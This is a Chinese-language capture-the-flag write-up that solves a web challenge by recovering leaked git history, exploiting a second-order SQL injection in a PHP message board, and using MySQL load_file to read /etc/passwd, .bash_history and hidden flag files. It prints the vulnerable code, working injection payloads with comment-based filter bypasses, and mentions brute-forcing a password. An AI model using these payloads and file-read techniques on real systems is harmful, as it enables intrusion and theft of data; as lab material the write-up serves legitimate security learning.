打开题目,如下图:
首先进行信息收集:
扫描网站目录,可以看到存在git泄露。
这里直接用githacker把泄露的部分下载下来。
下载地址:https://github.com/WangYihang/GitHacker这个工具在linux系统上比较好用,按工具拷贝进去或者直接下载,然后输入命令就可以使用。githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --output-folder 123 #(123是个目录,你可以随便起名)
脱下源码之后,你会发现一个write_do.php文件,咱们来看一下文件内容
<?phpinclude "mysql.php";session_start();if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die();}if(isset($_GET['do'])){switch ($_GET['do']){case 'write': break;case 'comment': break;default: header("Location: ./index.php");}}else{ header("Location: ./index.php");}?>
感觉怪怪的,应该是少了点什么,所以说我们查看是否存在其他版本:
git log --all
可以每次提交都恢复一次,或者说咱们直接从最早的开始恢复,最早的提交就是HEAD指针的位置
在版本为e5b2a2443c2b6d395d06960123142bc91123148c时可以找到write_do.php的更加完全版本的代码。
恢复命令如下:
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
下面是复原后的代码
//注释是我自己加的哦<?phpinclude "mysql.php";session_start();if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die();}if(isset($_GET['do'])){switch ($_GET['do']){//写入case 'write'://利用category字段使用payload,重点语句 $category = addslashes($_POST['category']);//在每个双引号(")前添加反斜杠 $title = addslashes($_POST['title']); $content = addslashes($_POST['content']);//sql,重点语句 $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break;//执行case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){//重点语句,mysql_fetch_array直接调用category,造成二次注入。 $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break;default: header("Location: ./index.php");}}else{ header("Location: ./index.php");}?>/*这几个重点语句的含义:他先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将他拿了出来,存在二次注入也就是说由于addslashes会将一些符号转义但是在sql转义的符号在储存后与addslashes前并没有什么改变(换句话说\'在存入sql后,读取出来仍会是')。所以我们可以写入数据,再通过这一特性将'逃逸出来,即二次注入。当我们构造payload的时候只能使用content,代码审计得到的*/
接下来进行代码审计,发现存在二次注入
为什么会发生二次注入?
第一次注入的机会:在 case 'write' 的部分,攻击者可以通过 POST 请求提交包含恶意 SQL 代码的 category 字段。例如,攻击者可以提交如下 payload:
category = 'sports');-- '
因为该部分的输入只经过了 addslashes() 处理,该函数仅在单引号、双引号、反斜杠等特殊字符前加反斜杠,但无法完全防止复杂的 SQL 注入。此时,恶意的 category 字段值会被存储到数据库中。
二次注入的机会:当在 case 'comment' 中,程序再次从数据库中读取存储的 category 值时,通过 mysql_fetch_array() 直接将存储的 category 值嵌入到新的 SQL 语句中。由于在读取数据库内容时没有进行额外的处理,这就为攻击者提供了第二次执行恶意 SQL 代码的机会。
例如,如果数据库中存储的 category 值为 sports');--,在注入时:
$sql = "insert into comment set category = 'sports');-- ', content = '$content', bo_id = '$bo_id'";
这将导致后续的 SQL 语句被注释掉,从而可能破坏数据库查询的逻辑,甚至导致命令执行或泄露数据。
利用 /**/ 的具体原因:
绕过过滤机制:
一些防御机制可能针对常见的 SQL 关键字(如 AND、OR)进行简单的过滤和检测。
使用 /**/ 可以分割关键字。例如,攻击者可以构造类似如下的 payload:
sports'/**/OR/**/'1'='1
在这种情况下,OR '1'='1' 成为了执行的条件,使得注入成功,但如果系统对单词 OR 或其他关键字有过滤,注释符号则可以绕过这些防御。
构造复杂的SQL语句:
使用 /**/ 可以拆分 SQL 语句,避免引起系统过滤规则的警觉。例如,AND/**/1=1 与 AND 1=1 效果相同,但前者可以绕过一些简单的防御机制,如仅检测 AND 或 OR 关键字是否存在。注释掉剩余的 SQL 代码:
在 SQL 注入中,注释符号可以用于提前结束 SQL 语句。例如,攻击者可以通过构造类似如下的语句:
sports');--
或者使用:
sports'/**/OR/**/'1'='1'/**/;--
来将后续的 SQL 代码注释掉,从而使得注入代码顺利执行,避免后续逻辑的影响。
/* ... */:这是 MySQL 和许多其他SQL数据库支持的块注释符号,可以注释掉一段SQL语句中的内容。#:这是 MySQL 的单行注释符号,作用类似于 --,表示在它之后的内容都会被注释掉,直到行尾。通过组合 */#,攻击者可以有效地结束SQL语句,并注释掉剩余的SQL代码,这在SQL注入中非常常见。
至此二次注入部分完毕
然后点击发布,跳转到login.php,所以说需要先登录进去,才能使用此功能
已经给出了账号密码的一部分,只需要爆破密码的后三位即可,这里密码为“zhangwei666”,随后便可以使用此功能进行发帖
先写入在写入功能写入payload,在参数category中content=database()部分的database()可以替换为其他SQL查询语句或者函数,payload其余部分则可视为固定。
接着在评论功能触发二次注入*/#(点击'详细',然后在提交留言处再次进行注入),同样在此的payload也视为固定(注意项目的SQL语句为多行,所以需要#和/**/配合使用)。
得到回显
尝试读文件 ',content=(load_file("/etc/passwd")),/*; 有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select ',content=(load_file("/etc/passwd")),/* */#
得到
发现除了root用户以外,只有www这个用户在/home/www目录下用了/bin/bash
查看/home/www/.bash_history.bash_history :保存了当前用户使用过的历史命令,方便查找。
',content=(load_file("/home/www/.bash_history")),/* */#
看到linux执行过的命令:
1.跳转到tmp目录
2.用unzip解压 html.zip ,这时会产生一个html的文件夹
3.rm 删除了html.zip
4.cp 将html 文件夹拷贝在 /var/www 目录下
5.跳转到 /var/html 目录下
6.删除了.DS_Store文件
7.启动 web服务
接下来看看文件里面写了什么
',content=(load_file("/tmp/html/.DS_Store")),/* */#
.DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换
',content=(hex(load_file("/tmp/html/.DS_Store"))),/**/#
给他转换成ascll
Bud1strapIlbootstrapIlocblobF(ÿÿÿÿÿÿcomment.phpIlocblobÌ(ÿÿcssIlocblobR(ÿÿÿÿÿÿflag_8946e1ff1ee3e40f.phpIlocblobØ(ÿÿÿÿÿÿfontsIlocblobFÿÿÿÿÿÿindex.phpIlocblobÌÿÿjsIlocblobRÿÿÿÿÿÿlogin.phpIlocblobØÿÿÿÿÿÿmysql.phpIlocblobFÿÿÿÿÿÿvendorIlocblobÌÿÿÿÿÿÿwrite_do.phpIlocblobRÿÿÿÿÿÿ @ @ @ @EDSDB ` @ @ @
看到里面有flag_8946e1ff1ee3e40f.php
尝试查看/tmp/html/flag_8946e1ff1ee3e40f.php
',content=(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/**/#
但是发现什么都没有得到,尝试与上次方法相同,加上hex
',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/**/#
得到flag,但是居然是假的(/死亡微笑)
得到了一个flag,但是很遗憾他是假的,但是咱们的方法是正确的,所以查看/var/www/html/flag_8946e1ff1ee3e40f.php是否为真的flag
',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/**/#
这个才是真的。
考点总结
考点总结:
1.文件泄露
首先考察的就是git文件泄露,我们可以利用githack/githacker脚本来恢复历史版本和下载git文件。
ps:git log -all 恢复历史文件。
2.sql二次注入
在本题中,服务器端只对用传来的数据进行了过滤。sql内部的数据没有进行过滤。使用函数进行转义\'存入sql后,读取出来仍会是'。这样'就逃逸出来。
3.sql文件读取
有读权限那么可以通过load_file函数来读取文件,同时linux 下有很多敏感文件,比如:.bash_history存放了历史执行命令、/etc/passwd存放了用户信息、/etc/shadow存放用户密码且一般情况下不可读的。
4.linux 命令
在本题中考了写linux命令的细节,如cp会保留原文件(这个真的很细),unzip 解压时默认在当前路径下生成解压出来的文件。
5.分析hex数据
可以将数据转为16进制再通过hexwin写入文件还原从而获得一些内容特别的文件或数据。
感谢各位师傅的耐心观看。